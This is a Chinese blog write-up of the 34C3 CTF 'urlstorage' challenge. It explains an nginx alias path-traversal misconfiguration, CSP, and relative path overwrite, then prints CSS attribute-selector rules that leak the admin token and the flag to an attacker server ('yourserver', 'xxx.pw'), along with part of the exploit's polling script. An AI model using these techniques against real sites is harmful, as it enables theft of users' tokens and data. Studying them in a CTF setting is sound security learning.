话说34C3都已经过去好久好久了,现在才来复现是不是有点晚,不过题目确实质量很高,虽然存在着非预期

前言

自己好久没写博客,因为各种各样的原因(当然包括原来的vps换了导致了博客的迁移),更多的就是自己的怠惰,不过都大二下了我需要更加努力啊

开始之前

先来讲一下非预期吧,这个还是非常有趣的强如34C3 CTF的出题大佬们也会出现配置失误的情况导致出现django可以读取源码的操作,甚至导致了 urlstorage 这道难题,可以直接获得flag,这里就来讲一下这个非预期吧

django+nginx 导致的目录穿越

1
2
3
location /files {
alias /home/;
}

如果nginx这样配置,就会导致可以通过 http://foo.com/files../filename 可以进行目录穿越来读取文件,在django就可以直接读取view.py几乎可以获得所有我们想要的信息

修复方式也非常的简单只需要/files变为/files/这样就阻止目录穿越

进入正题

urlstorage

这道题包含了很多知识点,是一道CSRF+XSS+RPO三个知识点,最后还需要用到关于css选择器的知识,质量爆炸,但是难度也爆炸

前置知识

CSP防护

什么是CSP?
Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。

CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。

CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。
Ps:这样也就减少了我们需要过滤的关键字,增加用户是使用体验,毕竟都是要输入的,任何时候都要兼顾用户的体验

开启CSP:

  1. 在http的头部信息中表示

    1
    2
    Content-Security-Policy: script-src 'self'; object-src 'none';
    style-src cdn.example.org third-party.org; child-src https:
  2. 使用meta标签

    1
    <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

了解CSP:
一个简单是例子

1
header("Content-Security-Policy: default-src 'self'; script-src 'self' http://passingfoam.com;");

下面是对各种参数的说明(既然不能加载其他域,这样XSS和CSRF的利用率就大大提高,但是想要绕过还是由很多方法,比较html那么松散给了你那么多标签就是让你皮的)

1
2
3
4
5
6
7
8
9
10
11
12
指令         说明
default-src 定义资源默认加载策略
connect-src 定义 Ajax、WebSocket 等加载策略
font-src 定义 Font 加载策略
frame-src 定义 Frame 加载策略
img-src 定义图片加载策略
media-src 定义 <audio>、<video> 等引用资源加载策略
object-src 定义 <applet>、<embed>、<object> 等引用资源加载策略
script-src 定义 JS 加载策略
style-src 定义 CSS 加载策略
sandbox 值为 allow-forms,对资源启用 sandbox
report-uri 值为 /report-uri,提交日志

CSP绕过:
暂时开一个坑以后再写,毕竟真的太多,或许会专门写一个专题

RPO漏洞

RPO (全称Relative Path Overwrite,相对路径覆盖),是一种利用相对URL覆盖其目标文件文件的技术,最早2014年提出来。关于相对URL和绝对URL想必无须多言了,绝对URL基本上是包含协议和域名的目标地址的完整URL,而相对URL不指定域或协议,并使用现有目标来确定协议和域。

出现情况:
在使用CSS有些时候回因为配置失误而出现使用相对路径引用的情况,再加上很多框架都使用路由表,其中就包含了url-rewrite的情况,举个例子

1
2
3
4
5
6
#我们请求http://example.com?id=1的这个页面
#一般情况下返回:
http://example.com?id=1
#url-rewrite:
http://example.com/id/1
这样就导致了所有使用相对路径的都会因为浏览器的解析问题导致解析出现异常

这里直接用本题作为实例来讲解,查看本题源码

1
2
3
4
5
6
7
<head>
<meta name="description" content="pwn it bro" />

<title>URL Storage</title>

<link href="static/css/milligram.min.css" type="text/css" rel="stylesheet" media="screen,projection"/>
</head>

这里引用css的引用使用了static/css/milligram.min.css这是很明显的相对引用,而本题使用的是django的框架,有url-rewrite我们可以进行测试
url-1
url-5
这里很轻松的看出了我们依然正常访问了urlstorage这个页面,但是我们的CSS没有了,这是为什么呢?
很简单因为我们正常的解析是在/static/css/milligram.min.css而我在重写之后/urlstorage/static/css/milligram.min.css这样本来css这个位置的文件就被当做我们的css来解析,这样就导致了错误,然而我们进行尝试post:url=%0a{}%0aurl:{}*{color:blue}查看页面
url-6
从这里我们发现我们的传入的CSS生效了

写完我才感觉这里因为重写机制的问题感觉不够能明显体现出RPO的经典之处,没能完全理解的可以看强网杯share_your_mind WP这里这个很经典

解题开始

先把整个题目都浏览一遍,总共可以分为三块:

  1. 提交url
    url-1
  2. 查看flag(可以很明显从页面中看出我们需要成为管理员,才能得到flag)
    url-2
  3. 提交信息给管理员(有bot)
    url-3

现在的信息还不够,继续查看源代码获取信息
url-4
这里的title引起了我们的注意,我们进行尝试可以发现这里flag我们可以进行修改,但是我们最多加长到64个字符,但是自身就有32个字符的长度,可以利用但是比较困难(超出64后就会报错,说这不是你的token,大家可以自行尝试)

1
2
#既然提到了XSS那么我们看一下头部
Content-Security-Policy: frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self';

这里就打断了是用短域名来加载script的想法

最后还有一个点就是,你每次登出再回来的你的token会变

信息收集与总结

  1. 需要获取admin的token
  2. 存在CSS+RPO
  3. 有一个短的title XSS
  4. 我们需要等到bot访问结束的时候就要搞定获得token和flag的读取(一次性)

得到道路

首先是如何获得admin的token,我们通过查询可以发现一个操作,CSS选择器可以用来读取页面的内容

1
2
3
4
a[href^=flag\?token\=0]{background: url(http://yourserver/test.php?token=0;)}
a[href^=flag\?token\=1]{background: url(http://yourserver/test.php?token=1;)}
..
a[href^=flag\?token\=f]{background: url(http://yourserver/test.php?token=f;)}

这里补充一下CSS选择器,在[]前面的就是你要选择东西的a表示a的标签,从所有中找[href^=flag\?token\=0]存在href这个属性且以flag\?token\=X开头,如果符合的向后面的backgroud的地址请求,那么我们就可以在日志中访问,这个就很像是sql中的盲注,一位一位的取

flag也可以通过类似的方法来得到

1
#flag[value^=\33\34\43\33]{background: url(http://xxx.pw/?34c3);}

#name 就是指定那个id叫name,他的值,这里有一个很重要的点在CSS选择器中,如果开头是数字,那么整个值就会被认为是一串数字,但是开头如果是字母就会认为整个是一串字符串,那么引号被过滤了,这里只能用16进制来绕过,或者通过模糊匹配也是可以的

最后就是XSS的利用方式了,我们既然有这个点就会用到它,就像一个数学题,好的数学题,是不会给你多余的条件的。因为我们的token获取是在\urlstorage中,但是我们flag的获取是在另一个页面,这个时候我们需要把我们的CSS选择器引入,如何引入呢

知识补充

在浏览器处理相对路径时,一般情况是获取当前url的最后一个/前作为base url,但是如果页面中给出了base标签,那么就会读取base标签中的url作为base url。

这个时候我们看题目的源码我们会发现flag页面的css也是通过相对路径来引用的,所以我们就可以通过base标签引入,来触发rpo漏洞,进行文件读取

最后如何一步到位的问题

说句实话,这个如何一步到位,我想了很久,可能因为思维的闭塞,后来我看了exp我才明白,如何才可以不断更改url,然后访问,又在一个页面里一次性完成,那就是ajax

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function get_url(url) {
var xhr = new XMLHttpRequest();
xhr.open('GET', url, false);
xhr.send();
return xhr.responseText;
}


function doit1() {
poll_len = poll();
console.log(poll_len + " " + length);
if (length == 32) {
token = get_url('?flag1');
console.log("TOKEN: " + token);
length = -1;
doit2();
} else if (poll_len > length) {
$('#doit').attr('src', '<?= $exploit ?>?step=1'); // next url
length = poll_len;
console.log("Length now " + length);
setTimeout(doit1, 0);
} else {
setTimeout(doit1, 100);
}
};

通过ajax来不断在一个页面中自动化提交,反馈,选择,然后带着token再一步到位得到flag,脚本的精美让人感叹
docker和exp地址
这里说两个坑点:

  1. mysql服务前加上chown -R mysql:mysql /var/lib/mysql
  2. 如果你的docker起之后不再宿主机上做题,请吧run_docker.sh 中的127.0.0.1改为0.0.0.0

参考链接

https://lorexxar.cn/2017/10/25/csp-paper/#0x02-CSP%EF%BC%88Content-Security-Policy%EF%BC%89

https://lorexxar.cn/2018/01/02/34c3-writeup/